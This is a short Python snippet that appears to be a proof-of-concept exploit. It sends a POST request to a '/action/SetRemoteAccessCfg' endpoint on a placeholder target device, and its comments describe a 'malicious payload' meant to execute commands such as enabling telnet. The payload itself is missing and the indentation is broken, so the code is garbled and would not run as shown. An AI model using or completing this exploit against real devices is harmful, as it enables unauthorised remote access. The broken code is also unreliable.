python

import requests

# Target URL
url = "http://<TARGET_IP>/action/SetRemoteAccessCfg"

# Malicious payload to execute a command (e.g., telnet enable or ping)

    response = requests.post(url, data=payload, timeout=5)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check if the command was executed on the target.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
